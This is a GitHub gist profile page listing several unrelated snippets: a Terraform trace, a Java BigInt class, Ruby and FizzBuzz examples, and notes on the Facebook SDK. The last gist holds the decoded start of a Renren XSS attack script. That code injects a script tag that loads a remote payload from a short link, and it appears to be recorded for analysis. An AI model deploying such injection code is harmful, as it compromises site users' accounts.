Skip to content

Instantly share code, notes, and snippets.

Avatar

Frank Luan franklsf95

View GitHub Profile
@franklsf95
franklsf95 / trace.log
Created Dec 6, 2021
Terraform Trace Azure VM Specialized
View trace.log
This file has been truncated, but you can view the full file.
2021-12-06T23:07:42.205Z [DEBUG] Adding temp file log sink: /tmp/terraform-log507459835
2021-12-06T23:07:42.205Z [INFO] Terraform version: 1.0.11
2021-12-06T23:07:42.205Z [INFO] Go runtime version: go1.16.4
2021-12-06T23:07:42.205Z [INFO] CLI args: []string{"/usr/bin/terraform", "apply", "-auto-approve"}
2021-12-06T23:07:42.205Z [TRACE] Stdout is not a terminal
2021-12-06T23:07:42.205Z [TRACE] Stderr is not a terminal
2021-12-06T23:07:42.205Z [TRACE] Stdin is a terminal
2021-12-06T23:07:42.205Z [DEBUG] Attempting to open CLI config file: /home/azureuser/.terraformrc
2021-12-06T23:07:42.205Z [DEBUG] File doesn't exist, but doesn't need to. Ignoring.
@franklsf95
franklsf95 / BigInt.java
Created Nov 17, 2014
Big Integer exercise in Java
View BigInt.java
/*
* Adapted from java.math.BigInteger
*
* This class only support non-negative integers
*/
public class BigInt implements Comparable<BigInt> {
// Constructors
@franklsf95
franklsf95 / test.rb
Created Jul 10, 2014
Inconsistent Ruby gsub behavior
View test.rb
# In the following code, the two gsub's have different outcomes.
ver = 9999
str = "\t<key>CFBundleDevelopmentRegion</key>\n\t<string>en</string>\n\t<key>CFBundleVersion</key>\n\t<string>0.1.190</string>\n\t<key>AppID</key>\n\t<string>000000000000000</string>"
puts str.gsub /(CFBundleVersion<\/key>\n\t.*\.).*(<\/string>)/, "#{$1}#{ver}#{$2}"
puts '--------'
puts str.gsub /(CFBundleVersion<\/key>\n\t.*\.).*(<\/string>)/, "#{$1}#{ver}#{$2}"
View gist:36cf4dc65333b51be34a
switch (x) {
case 1:
//...
case 2:
//...
default: // catches everything else
//...
}
View fizz_buzz
(1..100).each do |i|
if i % 15 == 0
puts 'FizzBuzz'
elsif i % 5 == 0
puts 'Buzz'
elsif i % 3 == 0
puts 'Fizz'
else
puts i
end
View why-facebook-sdk-doesnt-work-for-chrome-ext
The official way to import the Facebook JavaScript SDK is like this:
// Load the SDK asynchronously
(function(){
// If we've already installed the SDK, we're done
if (document.getElementById('facebook-jssdk')) {return;}
// Get the first script element, which we'll use to find the parent node
var firstScriptElement = document.getElementsByTagName('script')[0];
@franklsf95
franklsf95 / gist:5019953
Last active Dec 14, 2015
人人网XSS攻击脚本Unicode解码结果
View gist:5019953
if (window.isUndefined(window.injector1))
{
window.injector1 = 'defined';
window.scriptSrc = 'http://t.cn/zYKFUUl';
console.log("triggered...");
var script = document.createElement("script");
script.src = window.scriptSrc;
script.type = 'text/javascript';
script.charset = 'gbk';
script.id = 'sklmtt';